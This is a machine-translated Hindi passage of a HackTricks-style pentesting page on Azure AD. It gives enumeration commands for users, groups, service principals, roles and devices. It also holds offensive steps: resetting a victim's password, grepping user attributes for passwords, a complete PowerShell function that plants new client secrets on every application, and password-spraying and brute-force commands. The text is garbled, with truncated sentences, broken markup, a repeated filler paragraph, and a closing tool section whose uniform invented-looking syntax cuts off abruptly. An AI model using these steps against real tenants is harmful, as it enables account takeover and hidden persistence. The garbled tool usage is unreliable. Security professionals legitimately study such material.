Az - AzureAD (AAD)

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

Azure Active Directory (Azure AD) माइक्रोसॉफ्ट की क्लाउड-आधारित पहचान और पहुंच प्रबंधन सेवा के रूप में काम करता है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुंचने की सुविधा प्रदान करने में महत्वपूर्ण है, संगठन के अंदर और बाहर, माइक्रोसॉफ्ट 365, एज़्यूर पोर्टल, और कई अन्य SaaS एप्लिकेशनों को समाविष्ट करते हैं। Azure AD का डिज़ाइन मुख्य रूप से प्रमुख पहचान, अधिकृति, और उपयोगकर्ता प्रबंधन जैसी महत्वपूर्ण पहचान सेवाओं पर ध्यान केंद्रित है।

Azure AD की मुख्य विशेषताएँ बहु-कारक प्रमाणीकरण और शर्ताधारित पहुंच शामिल हैं, साथ ही अन्य माइक्रोसॉफ्ट सुरक्षा सेवाओं के साथ संगति का सुगम समावेश। ये विशेषताएँ उपयोगकर्ता पहचानों की सुरक्षा को काफी उच्च स्तर पर ले जाती हैं और संगठनों को उनकी पहुंच नीतियों को प्रभावी ढंग से लागू करने की शक्ति प्रदान करती हैं। माइक्रोसॉफ्ट की क्लाउड सेवाओं पारिस्थितिकी में महत्वपूर्ण घटक के रूप में, Azure AD उपयोगकर्ता पहचानों का क्लाउड-आधारित प्रबंधन के लिए महत्वपूर्ण है।

Entities

गणना

इस गणना के लिए आप az cli टूल, PowerShell मॉड्यूल AzureAD (या AzureAD Preview) और Az PowerShell मॉड्यूल का उपयोग कर सकते हैं।

लिनक्स में आपको PowerShell कोर इंस्टॉल करने की आवश्यकता होगी:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

मॉड्यूल अंतर

  • AzureAD माइक्रोसॉफ्ट का एक PowerShell मॉड्यूल है जो **Azure AD का प्रबंधन करने के लिए है। यह Azure AD ऑब्ज

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
Connect-AzureAD #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds

# Using tokens
## AzureAD cannot request tokens, but can use AADGraph and MSGraph tokens to connect
Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
Connect-AzAccount #Open browser
# Using credentials
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds

# Get Access Token
(Get-AzAccessToken).Token
# Request access token to other endpoints: AadGraph, AnalysisServices, Arm, Attestation, Batch, DataLake, KeyVault, MSGraph, OperationalInsights, ResourceManager, Storage, Synapse
Get-AzAccessToken -ResourceTypeName MSGraph
(Get-AzAccessToken -Resource "https://graph.microsoft.com").Token

# Conenct with access token
Connect-AzAccount -AccountId test@corp.onmicrosoft.com -AccessToken $token
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId <ACCOUNT-ID>
## The -AccessToken is from management.azure.com

# Connect with Service principal/enterprise app secret
$password = ConvertTo-SecureString 'KWEFNOIRFIPMWL.--DWPNVFI._EDWWEF_ADF~SODNFBWRBIF' -AsPlainText -Force
$creds = New-Object
System.Management.Automation.PSCredential('2923847f-fca2-a420-df10-a01928bec653', $password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d

#All the Azure AD cmdlets have the format *-AzAD*
Get-Command *azad*
#Cmdlets for other Azure resources have the format *Az*
Get-Command *az*
#Using management
$Token = 'eyJ0eXAi..'
# List subscriptions
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using graph
Invoke-WebRequest -Uri "https://graph.windows.net/myorganization/users?api-version=1.6" -Headers @{Authorization="Bearer {0}" -f $Token}
# Request tokens to access endpoints
# ARM
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# Vault
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

जब आप CLI के माध्यम से Azure में लॉगिन करते हैं, तो आप Microsoft के tenant से एक Azure Application का उपयोग कर रहे हैं। इन Applications में, जैसे आप अपने खाते में बना सकते हैं, क्लाइंट आईडी होता है। आप कॉन्सोल में देख सकते हैं कि आपको सभी उन्हें नहीं देख सकते, जो आपको दिखाई देते हैं, लेकिन वे डिफ़ॉल्ट रूप से अनुमति देते हैं

उदाहरण के लिए एक पावरशेल स्क्रिप्ट जो प्रमाणीकरण करता है, एक एप्लिकेशन का उपयोग करता है जिसका क्लाइंट आईडी 1950a258-227b-4e31-a9cf-717495945fc2 है। यद्यपि ऐप कॉन्सोल में नहीं दिखाई देता है, एक सिस्टम व्यवस्थापक उस एप्लिकेशन को ब्लॉक कर सकता है ताकि उपयोगकर्ता उस ऐप के माध्यम से कनेक्ट करने वाले उपकरणों का उपयोग न कर सकें।

हालांकि, ऐसे अन्य क्लाइंट आईडी हैं जिनके एप्लिकेशन आपको Azure से कनेक्ट करने की अनुमति देंगे:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

उपयोगकर्ता

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

हैकर्स आमतौर पर एज़्यूर एक्टिव डायरेक्टरी (Azure AD) के खोज और उपयोग करते हैं ताकि वे संगठन के लिए महत्वपूर्ण जानकारी तक पहुंच सकें। इसमें उपयोगकर्ता खातों, समूह, अनुमतियाँ, और अन्य संगठनात्मक संसाधन शामिल हो सकते हैं। इसके माध्यम से हैकर्स गोपनीयता और सुरक्षा की कमियों का उल्लंघन कर सकते हैं और अनुमतियों को अनुचित रूप से प्राप्त कर सकते हैं।

# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }

{% टैब शीर्षक="Az PowerShell" %}

# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com

उपयोगकर्ता का पासवर्ड बदलें

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA और शर्ताधारित पहुंच नीतियाँ

हर उपयोगकर्ता को MFA जोड़ना अत्यंत अनुशंसित है, हालांकि, कुछ कंपनियाँ इसे सेट नहीं करेंगी या शर्ताधारित पहुंच के साथ सेट कर सकती हैं: उपयोगकर्ता को आवश्यक MFA होगा अगर वह एक विशेष स्थान, ब्राउज़र या कुछ शर्त से लॉग इन करता है। ये नीतियाँ, यदि सही ढंग से कॉन्फ़िगर नहीं की गई हैं तो उन्हें बायपास के लिए संवेदनशील बना सकती हैं। जांचें:

pageAz - Conditional Access Policies / MFA Bypass

समूह

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

यदि आपको Azure AD इंटेग्रेशन की जांच करनी है, तो निम्नलिखित कदमों का पालन करें:

  1. Azure AD एप्लिकेशन की सेटिंग्स की जाँच करें और अनावश्यक अनुमतियों को हटाएं।

  2. व्यवस्थापक और उपयोगकर्ता रोल की समीक्षा करें और आवश्यकतानुसार सेट करें।

  3. व्यवस्थापक और उपयोगकर्ता लॉगिन क्रेडेंशियल्स की सुरक्षा को मजबूत करने के लिए मल्टी-फैक्टर ऑथेंटिकेशन (MFA) का उपयोग करें।

  4. लॉगिन और एक्सेस की गतिविधियों का निरीक्षण करने के लिए Azure AD लॉग्स को सक्रिय करें।

  5. अपड

# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }

हम अपने पेंटेस्टिंग लैब के लिए Az PowerShell का उपयोग करेंगे। इसके लिए, हमें Az PowerShell मॉड्यूल को इनस्टॉल करना होगा। आप निम्नलिखित कमांड का उपयोग करके Az PowerShell मॉड्यूल को इनस्टॉल कर सकते हैं।

Install-Module -Name Az -AllowClobber -Scope CurrentUser

इसके बाद, आप Az PowerShell मॉड्यूल को इम्पोर्ट कर सकते हैं और Azure AD सेवाओं के साथ काम करने के लिए लॉगिन कर सकते ह।

Import-Module Az
Connect-AzAccount

इसके बाद, आप Azure AD सेवाओं के साथ विभिन्न कार्रवाई करने के लिए Az PowerShell कमांड्स का उपयोग कर सकते ह।

# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>

उपयोगकर्ता को समूह में जोड़ें

समूह के मालिक नए उपयोगकर्ताओं को समूह में जोड़ सकते हैं

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

समूह डायनामिक हो सकते हैं, जिसका मतलब है कि यदि किसी उपयोगकर्ता ने कुछ शर्तों को पूरा किया है तो उसे एक समूह में शामिल किया जाएगा। बेशक, यदि शर्तें गुणधर्मों पर आधारित हैं जिन्हें एक उपयोगकर्ता नियंत्रण कर सकता है, तो वह इस सुविधा का दुरुपयोग कर सकता है ताकि अन्य समूहों में प्रवेश प्राप्त कर सके। जांचें कि डायनामिक समूहों का दुरुपयोग कैसे किया जा सकता है निम्नलिखित पृष्ठ पर:

pageAz - Dynamic Groups Privesc

सेवा प्रिंसिपल / एंटरप्राइज एप्लिकेशन्स

ध्यान दें कि PowerShell शब्दावली में सेवा प्रिंसिपल को आज़्यूर पोर्टल (वेब) में एंटरप्राइज एप्लिकेशन्स कहा जाता है।

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

हैकर्स आमतौर पर एज़्यूर एक्टिव डायरेक्टरी (Azure AD) के खोज और उपयोग करते हैं ताकि वे संगठन के लिए महत्वपूर्ण जानकारी तक पहुंच सकें। इसमें उपयोगकर्ता खातों, समूह, अनुमतियाँ, और अन्य संगठनात्मक संसाधन शामिल हो सकते हैं। इसके माध्यम से हैकर्स गोपनीयता और सुरक्षा की कमियों का उल्लंघन कर सकते हैं और अनुमतियों को अनुचित रूप से प्राप्त कर सकते हैं।

# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
Get-AzureADServicePrincipal -ObjectId <id> | fl *
# Get SP by string name or Id
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl
Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"}
# Get owner of SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner |fl *
# Get objects owned by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
# Get objects created by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
# Get groups where the SP is a member
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *

हम अपने Azure AD डेटा को प्राप्त करने के लिए Az PowerShell का उपयोग कर सकते हैं।

# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>

हमें एज़्यूरएड के लिए पेंटेस्टिंग करने के लिए एज़्यूर सुरक्षा की जानकारी को समझने की आवश्यकता है। इस विभाग में, हम एज़्यूरएड के सुरक्षा संरचना, उपयोगकर्ता पहचानने, अनुमतियाँ, और अन्य सुरक्षा संबंधित विषयों पर ध्यान केंद्रित करेंगे।

$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

सेवा प्रिंसिपल के मालिक उसका पासवर्ड बदल सकते हैं।

प्रत्येक एंटरप्राइज ऐप पर सूची देखें और क्लाइंट सीक्रेट जोड़ने का प्रयास करें

```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }

</details>

### भूमिकाएँ

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='az cli'>

```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"

हैकर्स आमतौर पर एज़्यूर एक्टिव डायरेक्टरी (Azure AD) के खोज और उपयोग करते हैं ताकि वे संगठन के लिए महत्वपूर्ण जानकारी तक पहुंच सकें। इसमें उपयोगकर्ता खातों, समूह, अनुमतियाँ, और अन्य संगठनात्मक संसाधन शामिल हो सकते हैं। इसके माध्यम से हैकर्स गोपनीयता और सुरक्षा की कमियों का उल्लंघन कर सकते हैं और अनुमतियों को अनुचित रूप से प्राप्त कर सकते हैं।

# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *

हम अपने Azure AD डेटा को PowerShell का उपयोग करके भी प्राप्त कर सकते हैं। निम्नलिखित कमांड का उपयोग करके हम उपयोगकर्ताओं की सूची प्राप्त कर सकते हैं:

Get-AzureADUser

इसके अलावा, हम उपयोगकर्ताओं की जानकारी को अद्यतन और संशोधित करने के लिए निम्नलिखित कमांड का उपयोग कर सकते ह।:

Set-AzureADUser

इन कमांड्स का उपयोग करके हम Azure AD में उपयोगकर्ताओं के साथ विभिन्न कार्रवाई कर सकते हैं।

# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>

हमें एज़्यूरएड के लिए पेंटेस्टिंग करने के लिए एज़्यूर सुरक्षा की जानकारी को समझने की आवश्यकता है। इस विभाग में, हम एज़्यूरएड के सुरक्षा संरचना, उपयोगकर्ता पहचानने, अनुमतियाँ, और अन्य सुरक्षा संबंधित विषयों पर ध्यान केंद्रित करेंगे।

# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

उपकरण

# If you know how to do this send a PR!

यदि आपको किसी उपयोगकर्ता के Azure AD पासवर्ड को रीसेट करने की अनुमति है, तो आप उनके खाते में लॉग इन करके इस क्रिया को पूरा कर सकते हैं। इसके लिए आपको उपयोगकर्ता के खाते में लॉग इन करने के लिए उनके पासवर्ड को बदलने की अनुमति देने की आवश्यकता होती है। इस प्रक्रिया के दौरान, आपको उपयोगकर्ता के नए पासवर्ड को दोबारा निर्धारित करने की अनुमति दी जाएगी। इसके बाद, आप उनके खाते में लॉग इन कर सकते हैं और उनके नए पासवर्ड का प्रबंधन कर सकते हैं।

# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

यदि कोई डिवाइस (VM) AzureAD से जुड़ा है, तो AzureAD से उपयोगकर्ता लॉगिन कर सकेंगे। इसके अतिरिक्त, यदि लॉग इन किया गया उपयोगकर्ता उस डिवाइस का मालिक है, तो वह स्थानीय व्यवस्थापक होगा।

एप्लिकेशन्स

ऐप्स पोर्टल में ऐप रजिस्ट्रेशन हैं (एंटरप्राइज एप्लिकेशन नहीं)। लेकिन प्रत्येक ऐप रजिस्ट्रेशन एक एंटरप्राइज एप्लिकेशन (सेवा प्रिंसिपल) उसी नाम से बनाएगा। इसके अतिरिक्त, यदि ऐप एक मल्टी-टेनेंट ऐप है, तो उस टेनेंट में एक और एंटरप्राइज एप्लिकेशन (सेवा प्रिंसिपल) उसी नाम से बनाया जाएगा।

जब एक ऐप उत्पन्न होता है, तो 2 प्रकार की अनुमतियाँ दी जाती हैं:

  • सेवा प्रिंसिपल को दी गई अनुमतियाँ

  • अनुमतियाँ जो ऐप के पास हो सकती हैं और उपयोगकर्ता के पक्ष में उपयोग की जा सकती हैं।

# List Apps
az ad app list
az ad app list --query "[].[displayName]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# List all the apps with an application password
az ad app list --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad app list --query "[?keyCredentials != null].displayName"

Azure AD Enumeration

User Enumeration

To enumerate users in Azure AD, you can use tools like Azure AD Recon or Azure AD User Enumeration.

Azure AD Recon

python3 aadrecon.py -t <TENANT_ID> -d <DOMAIN>

Azure AD User Enumeration

python3 aaduserenum.py -t <TENANT_ID> -d <DOMAIN>

Group Enumeration

To enumerate groups in Azure AD, you can use tools like Azure AD Recon or Azure AD Group Enumeration.

Azure AD Recon

python3 aadrecon.py -t <TENANT_ID> -d <DOMAIN>

Azure AD Group Enumeration

python3 aadgroupenum.py -t <TENANT_ID> -d <DOMAIN>

Device Enumeration

To enumerate devices in Azure AD, you can use tools like Azure AD Recon or Azure AD Device Enumeration.

Azure AD Recon

python3 aadrecon.py -t <TENANT_ID> -d <DOMAIN>

Azure AD Device Enumeration

python3 aaddeviceenum.py -t <TENANT_ID> -d <DOMAIN>

Application Enumeration

To enumerate applications in Azure AD, you can use tools like Azure AD Recon or Azure AD Application Enumeration.

Azure AD Recon

python3 aadrecon.py -t <TENANT_ID> -d <DOMAIN>

Azure AD Application Enumeration

python3 aadappenum.py -t <TENANT_ID> -d <DOMAIN>

Azure AD Exploitation

Password Spraying

To perform password spraying attacks in Azure AD, you can use tools like Spray or AzureSpray.

Spray

spray <USER_LIST> <PASSWORD_LIST> <TENANT_ID>

AzureSpray

azurespray -u <USER_LIST> -p <PASSWORD_LIST> -t <TENANT_ID>

Brute Force Attack

For brute force attacks against Azure AD, tools like CrackMapExec or Hydra can be used.

CrackMapExec

